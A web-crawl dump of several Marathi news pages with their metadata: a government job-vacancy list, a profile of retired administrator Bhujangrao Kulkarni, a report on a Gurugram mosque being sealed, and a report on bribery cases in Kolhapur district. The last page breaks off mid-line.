खात्री नोकरीची गुरुवार, २६ जुलै, २०१८", "raw_content": "उज्ज्वल भवितव्यासाठी भरारी घेताना पंखांत बळ हवे प्रयत्नांचे. या प्रयत्नांना दिशा मिळेल आता एका क्लिकवर. आतापर्यंत साडेपाच लाखाहून अधिक संधींची माहिती देणार्‍या नोकरी शोधामध्ये आज पहा हजाराहून अधिक संधी \nमहाराष्ट्र लोकसेवा आयोगामार्फत महाराष्ट्र कृषि सेवा मुख्य परीक्षा २०१८\n• कृषि उपसंचालक (गट-अ) - १७ जागा\n• तालुका कृषि अधिकारी (गट-ब) - ८३ जागा\n• कृषि अधिकारी (गट-ब) - २९९ जागा\nशैक्षणिक पात्रता - कृषि किंवा कृषि अभियांत्रिकी किंवा उद्यानविद्या पदवी किंवा समतुल्य पदवी आणि कृषि सेवा पूर्व परीक्षा २०१८\nवयोमर्यादा - १ जुलै २०१८ रोजी १८ ते ३८ वर्षे (अनुसूचित जाती-जमातीतील उमेदवारांना ५ वर्षे सवलत )\nपरीक्षा - ८ सप्टेंबर २०१८\nपरीक्षा केंद्र - औरंगाबाद, मुंबई, पुणे व नागपूर\nऑनलाईन अर्ज करण्याची शेवटची तारीख - ७ ऑगस्ट २०१८\nन्यू इंडिया अॅश्युरन्स कंपनी लि. मध्ये ६८५ जागांसाठी भरती\n• असिस्टंट - ६८५ जागा\nशैक्षणिक पात्रता - पदवीधर किंवा समतुल्य\nवयोमर्यादा - ३० जून २०१८ रोजी २१ ते ३० वर्षे ( इतर मागासवर्गातील उमेदवारांना ३ वर्षे व अनुसूचित जाती-जमातीतील उमेदवारांना ५ वर्षे सवलत)\nपूर्व परीक्षा - ८/९ सप्टेंबर २०१८\nमुख्य परीक्षा - ६ ऑक्टोबर २०१८\nऑनलाईन अर्ज करण्याची शेवटची तारीख - ३१ जुलै २०१८\nभारतीय विमानतळ प्राधिकरणात दिव्यांग व्यक्तींकरिता विशेष भरती\n· सिनिअर असिस्टंट (Accounts) - २ जागा\nशैक्षणिक पात्रता - बी.कॉम, कॉम्प्युटर ट्रेनिंग कोर्स आणि २ वर्षाचा अनुभव\n· सिनिअर असिस्टंट (Steno) - १ जागा\nशैक्षणिक पात्रता - पदवीधर, टाइपिंग ८०/४०श.प्र.मि. आणि २ वर्षाचा अनुभव\n· असिस्टंट (Office) - ४ जागा\nशैक्षणिक पात्रता - पदवीधर पदवी, टाइपिंग ४० श.प्र.मि. आणि २ वर्षाचा अनुभव\n· ज्युनिअर असिस्टंट (Drg-Civil) - १ जागा\nशैक्षणिक पात्रता - १०वी उत्तीर्ण, आयटीआय (सिव्हील ड्राफ्ट्समनशिप) आणि २ वर्षाचा अनुभव\n· ज्युनिअर असिस्टंट(Drg-Elect) - १ जागा\nशैक्षणिक पात्रता - १०वी उत्तीर्ण, आयटीआय (इलेक्ट्रिकल आणि मॅकेनिक ड्राफ्ट्समनशिप) आणि २ वर्षाचा अनुभव\n· ज्युनिअर असिस्टंट(ACR) - १ जागा\nशैक्षणिक पात्रता - १०वी उत्तीर्ण, आयटीआय (AC & Reff.) आणि २ वर्षाचा अनुभव\nवयोमर्यादा - ३१ मे २०१८ रोजी १८ ते ४० वर्षे (इतर मागासवर्गातील उमेदवारांना ३ वर्षे व अनुसुचित जाती-जमातीतील उमेदवारांना ५ वर्षे सवलत)\n· ऑनलाईन अर्ज करण्याची शेवटची तारीख - ३१ जुलै २०१८\n: पॉवरग्रिड कॉर्पोरेशन ऑफ इंडिया मध्ये UGC-NET2018 द्वारे ‘एक्झिक्युटिव्ह ट्रेनी’\n• एक्झिक्युटिव्ह ट्रेनी (HR) - २५ जागा\nवयोमर्यादा - ३१ जुलै २०१८ रोजी २८ वर्षे (इतर मागासवर्गीय उमेदवारांना ३ वर्षे तर अनुसूचित जाती-जमातीतील उमेदवारांना ५ वर्षे सूट)\n• ऑनलाईन अर्ज करण्याची शेवटची तारीख - ३१ जुलै २०१८\nसर्वंकष ई- प्रशासन प्रणाली प्रकल्‍पांतर्गत विकसित केलेल्‍या www.maharojgar.gov.in या वेबपोर्टलव्‍दारे लाभार्थी घटक उमेदवार, नियोक्‍ते, प्रशिक्षण संस्‍था, शासनाची विविध कार्यालये, शासनाच्‍या स्‍वयंरोजगार योजना राबविणारी महामंडळे, सेवा पुरविणारे व सेवा घेणारे इ. लाभार्थी घटक यांना रोजगार, स्‍वयंरोजगार, व प्रशिक्षणाबाबतच्‍या विविध सेवा सुविधा उपलब्‍ध करुन देण्‍यात आलेल्‍या आहे. सदर लाभार्थी घटकांना या सेवाचा लाभ घेताना काही अडचणी असल्‍यास त्‍यांचे निराकरण व त्‍यांना सहाय्य करण्‍यासाठी नविन हेल्‍पलाईन क्रमांक - 18602330133 दिनांक 27 ऑक्‍टोबर 2015 पासून सोमवार ते शनिवार (दुसरा व चौथा शनिवार आणि सार्वजनिक सुट्या वगळून) सकाळी 10 ते सांयकाळी 6 वाजेपर्यंत कार्यान्वित करण्‍यात आला आहे.\n'नोकरी शोधा’ या सदरात देण्यात येणारी रिक्त पदांची माहिती संबंधित विभागाने वृत्तपत्रात अथवा त्यांच्या संकेतस्थळावर प्रसिद्ध केल्याप्रमाणे असते. उमेदवारांच्या सोयीसाठी ‘महान्यूज’ मध्ये ती संकलित केली आहे. सविस्तर माहितीसाठी उमेदवारांनी मूळ जाहिरात पाहावी.\n'महान्यूज' मधील मजकूर आपण 'महान्यूज'च्या उल्लेखासह पुनर्मुद्रित केल्यास आम्हाला आनंदच वाटेल.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00215.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.saamana.com/%E0%A4%AD%E0%A5%81%E0%A4%9C%E0%A4%82%E0%A4%97%E0%A4%B0%E0%A4%BE%E0%A4%B5-%E0%A4%95%E0%A5%81%E0%A4%B2%E0%A4%95%E0%A4%B0%E0%A5%8D%E0%A4%A3%E0%A5%80/", "date_download": "2018-09-25T17:24:12Z", "digest": "sha1:FOOOZKZOANP2AZFYCHZM522JRI425EQC", "length": 22318, "nlines": 256, "source_domain": "www.saamana.com", "title": "भुजंगराव कुलकर्णी | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nभुजंगराव आप्पाराव कुलकर्णी मूळचे बीड जिल्हा परळी तालुक्यातील पिंपळगावचे. ५ फेब्रुवारी १९१८ चा त्यांचा जन्म. अंबाजोगाई, संभाजीनगर ते हैदराबाद असा त्याचा शैक्षणिक प्रवास. १९३९ मध्ये त्यांनी हैदराबाद राज्याच्या प्रशासकीय सेवेत कारकीर्दीला सुरुवात केली. हैदराबाद राज्यातच ते उपसचिव पदापर्यंत पोहोचले. पुढे देश स्वतंत्र झाला, मराठवाडाही निजामाच्या जोखडातून मुक्त झाला तेव्हा भुजंगरावांची कारकीर्द ही नांदेडच्या जिल्हाधिकारीपदापासून सुरू झाली. संभाजीनगरातही ते १९५६ ते १९५९ या कालावधीत जिल्हाधिकारी होते. पुण्याचे मनपा आयुक्त, मुंबईचे विभागीय आयुक्त अशी पदे भूषवत ते जनगणना मोहिमेचे प्रमुख, मंत्रालयात नगरविकास, आरोग्य, गृहनिर्माण आणि जलसंपदासारख्या विभागाचे सचिव होत १९७४ मध्ये शासकीय सेवेची ३५ वर्षे पूर्ण करीत ते निवृत्त झाले. त्यांच्या निवृत्तीलाही आज ४३ वर्षे पूर्ण झालेली आहेत. आपल्या खात्याचा अतिशय बारकाईने अभ्यास करीत. खात्यांतर्गत सुधारणा घडवून आणण्यात भुजंगरावांचा हातखंडाच होता. शासकीय सेवेत असताना मनाजोगे सामाजिक कार्य करताना काही बंधने असतात, भुजंगराव या बाबतीत असे सुदैवी की, शासकीय सेवेच्या कार्यकाळात यशवंतराव चव्हाण आणि वसंतदादांसारखे पारखी नेतृत्व लाभले होते, तर पद्मविभूषण गोविंदभाईंसारखी अतिशय तळमळीने मराठवाड्याच्या विकासाला वाहून घेतलेल्या मंडळींची त्यांना निवृत्तीनंतर प्रदीर्घ काळ सोबत लाभली. त्याच संस्कारांचे परिणाम म्हणून की काय आज शंभराव्या वर्षात पदार्पण करतानासुद्धा भुजंगराव हे मनाने तरुण आणि खंबीरच आहेत. निवृत्तीनंतर भुजंगराव कुलकर्णी यांनी गोविंदभाईंच्या कार्यात स्वतःला वाहून घेतले. शासनानेही त्यांच्या अनुभवाचा वापर करून घेत त्यांच्यावर अनेक प्रकारच्या जवाबदाऱ्या सोपवल्या. मराठवाडा विकास मंडळाचे अध्यक्ष, डॉ. बाबासाहेब आंबेडकर मराठवाडा विद्यापीठाचे कुलगुरू, न्हावाशेवा बंदराचे अभ्यासप्रमुख, कुटुंब नियोजन अभ्यासगट प्रमुख, मागास जिल्हे अभ्यासगट अध्यक्ष, मराठवाडा वैधानिक विकास मंडळाचे अध्यक्ष, बॅकलॉग समितीचे अध्यक्ष तर सिंचन आयोग, कापूस एकाधिकार, अनुशेष अभ्यासक दांडेकर, उत्पन्न बाबींची अभ्यास समिती, राज्य नियोजन मंडळ, तांत्रिक शिक्षण अनुशेष समिती, नोकऱ्यातील अनुशेष शोध समिती, विद्यापीठ स्थापना समिती यासारख्या अनेक समित्यांचे ते सदस्य होते. एका परीने निवृत्तीनंतरही त्यांनी विविध समित्यांवर, मंडळांवर तब्बल २६ वर्षे अर्धशासकीय कामच केले. गोविंदभाईंमुळे भुजंगराव सरस्वती भुवन शिक्षण संस्थेत आले आणि कायमस्वरूपी ते या संस्थेचे होऊन गेले. संस्थेचे ते तब्बल २३ वर्ष उपाध्यक्ष होते. धर्माचे अवडंबर न माजवता धार्मिक वृत्तीने जगणे त्यांनी अंगीकारलेले असल्यामुळे जेव्हा सरस्वती भुवनच्या इमारतीचे काम पूर्ण झाले तेव्हा नव्या वास्तूची वास्तुशांती झाली पाहिजे असे शाळेत शिकणाऱ्या विद्यार्थ्यांच्या पालकांना वाटत होते. मात्र संस्थाध्यक्ष बापूसाहेब काळदातेंनी वास्तुशांतीस नकार दिला. मात्र पालकांची अडचण ओळखून भुजंगरावांनी वास्तुशांतीला केवळ मान्यताच दिली नाही तर स्वतः प्रत्येक धार्मिक विधीमध्ये सहभागही घेतला. आपल्या दीर्घायुष्याचे रहस्य सांगताना ते म्हणतात, नियमित योगासने, आयुष्यभर शाकाहार, मद्यपान, धूम्रपानापासून कायम दूर, कोणत्याही कामात सतत गुंतवून घेण्याची सवय, पुस्तक वाचन आणि लेखन हे आपल्या दीर्घायुष्याचे रहस्य आहे. चार प्रकारचे प्रत्येकी १३ पत्ते असतात. यात डाव येण्याची लाखात एकदाच वेळ येते. तुमच्या वाट्याला चांगले पत्ते असतील किंवा नसतीलही. मात्र हातात आहे त्या पत्त्यावर चांगल्यात चांगला डाव खेळणे आपल्या हातात असते. ब्रिजमधील हेच कौशल्य जीवनातही वापरावे लागते, अशा शब्दांत भुजंगराव आपल्या जीवनाचे तत्त्वज्ञान सांगतात.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nआजचा अग्रलेख : जमिनीपासून आकाशापर्यंत सगळी बोंबच\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00215.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.saamana.com/gurugram-mosque-namaz-loudspeaker-haryana/", "date_download": "2018-09-25T17:31:50Z", "digest": "sha1:BUZKRGOGBC6VDOIVP74ZVS34YQTE6BPA", "length": 17386, "nlines": 260, "source_domain": "www.saamana.com", "title": "नमाझ व अझानच्या आवाजावरून वाद; प्रशासनाची मोठी कारवाई, मशिदीला ठोकले टाळे | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा…\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानला दुसरा धक्का\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nनमाझ व अझानच्या आवाजावरून वाद; प्रशासनाची मोठी कारवाई, मशिदीला ठोकले टाळे\nहरयाणाच्या गुरुग्राममध्ये नमाझवरून मोठा वाद सुरू आहे. गेल्या आठवड्यापासून सुरू असलेल्या या वादातून नगर प्रशासनाने मशिदीला टाळे ठोकण्याचा निर्णय घेतला आहे. ‘आज तक’ने याबाबत वृत्त दिले आहे.\nमिळालेल्या माहितीनुसार, ही मशीद तीन मजली इमारतीमध्ये बनवण्यात आलेली आहे. काही दिवसांपूर्वी हिंदू संघटनांनी इमारतीमध्ये होणाऱ्या नमाझावरून तक्रार दाखल केली होती. तेव्हापासून परिसरात तणावाचे वातावरण निर्माण झालेले आहे. या भागात मोठा पोलीस फौजफाटा तैनात करण्यात आला आहे.\nहिंदू संघटनांनी दिलेल्या तक्रारीनुसार, या इमारतीतील घराचा वापर मशिदीसारखा करण्यात येत आहे. हे नियमांचे उल्लंघण असून येथे रोज शेकडो लोकं जमा होतात. अझानच्यावेळी होणाऱ्या भोंग्याच्या आवाजामुळे आजूबाजूच्या नागरिकांना त्रास सहन करावा लागत आहे. यावर कारवाई करताना नगर प्रशासनाने मशिदीला टाळे ठोकण्याचा निर्णय घेतला आहे.\nगुरुग्राममध्ये यापूर्वी देखील मोठ्या आजावाने नमाझ पढण्याला नागरिकांनी विरोध केला होता. त्यामुळे प्रचंड वाद झाला होता. अखेर प्रशासनाने नमाझ पढण्यासाठी मुसलमान समाजाला 37 जागांवर परवानगी दिली होती. परंतु त्याला केराची टोपली दाखवत काही भागात इमारतींमध्ये नमाझ पढला जावू लागल्याने नागरिकांनी याची तक्रार केली.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलगणेशोत्सवासाठी तगडा पोलीस बंदोबस्त; 5 हजार सीसीटीव्हीतून वॉच\nपुढीलराज्यातील अनधिकृत मंडपांवर काय कारवाई करणार\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा दाखल\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\nनगर जिल्हा हादरला; एमएमएस बनवून महिलेवर 3 वर्ष अत्याचार, चौघांवर गुन्हा...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00215.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/cases-of-bribery-in-kolhapur-district-267592.html", "date_download": "2018-09-25T17:38:00Z", "digest": "sha1:UMGDHRMYQLVL24O7HGRNU72URXEEZZET", "length": 14064, "nlines": 139, "source_domain": "lokmat.news18.com", "title": "कोल्हापूर जिल्ह्यात 8 महिन्यांत लाच दिल्याचे 16 गुन्हे दाखल", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nकोल्हापूर जिल्ह्यात 8 महिन्यांत लाच दिल्याचे 16 गुन्हे दाखल\nविशेष म्हणजे या 16 मधील 7 गुन्हे हे चंद्रकांत पाटलांच्या महसूल विभागातील आहेत.\nकोल्हापूर, 19 ऑगस्ट: एकीकडे राज्य सरकारकडून भ्रष्टाचारमुक्त कारभारचा नारा दिला जात असतानाच राज्याचे महसूलमंत्री आणि क्रमांक 2चे मंत्री अशी ओळख असलेल्या चंद्रकांत पाटील यांच्याच कोल्हापूर जिल्ह्यात लाचखोरी वाढत चालल्याचं चित्र आहे. कोल्हापूर जिल्ह्यात 1 जानेवारीपासून म्हणजेच गेल्या 8 महिन्यात लाच मागितल्याप्रकरणी तब्बल 16 गुन्हे दाखल झाले आहेत. विशेष म्हणजे या 16 मधील 7 गुन्हे हे महसूल विभागातील आहेत.\n2 दिवसांमध्ये कोल्हापूर जिल्ह्यात महसूल विभागाचे 2 जण लाच घेताना 'रंगे हाथ' पकडले गेले. पन्हाळा तालुक्यातील मंडल अधिकारी अशोक बसवणे आणि भुदरगड तालुक्यातल्या आरळगुंडी गावातील महिला तलाठी लाच घेताना पकडली गेली आहे. मंडल अधिकाऱ्यानं 20 हजारांची लाच मागितली होती आणि महिला तलाठ्यानं 6 हजारांची लाच मागितली होती. त्यामुळे ग्रामीण भागात आजही जमिनींचे शेतीचे व्यवहार करायला महसूल विभागाचे अधिकारीच कर्मचारी पैसे घेतात हेच यावरुन सिद्ध होतंय. राज्याचा कारभार हाकणाऱ्या मंत्र्यांच्याच जिल्ह्यात ही अवस्था असेल तर इतर जिल्ह्यात काय परिस्थिती असेल याचा विचारच न केलेलाच बरा.\nकोल्हापूर जिल्ह्यातील लाचेच्या 16 गुन्ह्यांचा तपशील -\nमहसूल विभाग - 7 गुन्हे\nपोलीस विभाग - 2 गुन्हे\nमहापालिका - 1 गुन्हा\nनगरविकास खाते - 2 गुन्हे\nवनखाते - 1 गुन्हा\nग्रामविकास खाते - 1 गुन्हा\nउद्योग व उर्जा विभाग - 1 गुन्हा\nशिक्षण खाते - 1 गुन्हा.\nदरम्यान चंद्रकांत पाटील यांच्या महसूल विभागातील 7 गुन्ह्यांपैकी कुणी लाच मागितली तेही पाहूयात..\nमंडल अधिकारी - 2\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, 